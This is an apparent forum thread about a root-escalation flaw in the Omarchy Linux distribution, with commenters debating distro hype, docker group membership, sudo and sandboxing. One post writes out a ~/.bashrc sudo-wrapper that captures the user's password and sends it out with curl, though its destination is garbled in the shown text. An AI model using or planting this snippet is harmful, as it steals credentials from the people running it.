Omarchy: Any User Process Can Escalate to Root

Post by silisili » Sun, Aug 30, 2026, 5:14 PM UTC

concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Post by troupo » Sun, Aug 30, 2026, 5:14 PM UTC

quadrifoliate wrote: post #42

thehamkercat wrote: post #24

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

[flagged]

Post by [deleted] » Sun, Aug 30, 2026, 5:14 PM UTC

ezst wrote: post #30

gruez wrote: post #19

Earlier quoted context omitted.

>when it’s a very common setup to add regular user to the docker group. As an official configuration? Or in random copy paste guides? The former is very different than the latter. It's not uncommon to disable sudo passwords, but it would be considered a serious security lapse if that were the default on some OS.

You mean, just how it is on Windows?

Post by lrvick » Sun, Aug 30, 2026, 5:15 PM UTC

tomrod wrote: post #78

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

What? Why is sudo security theater?

Post by mike_hearn » Sun, Aug 30, 2026, 5:16 PM UTC

Retr0id wrote: post #38

mike_hearn wrote: post #33

Linux isn't like macOS, it doesn't have any kind of proper desktop sandboxing architecture that really works. So this is kind of security theatre. If you run a malicious program it can do stuff like tamper with your PATH or exploit local vulns in apps to get to the point where it can control anything that matters (which root generally doesn't). For instance it can just drop a custom shell into ~/.bin/.hidden-shell an…

> Unfortunately implementing an Apple style architecture on Linux would be very difficult. On desktop Linux as we know it, yes, but Android manages it alright, mostly via SELinux+seccomp.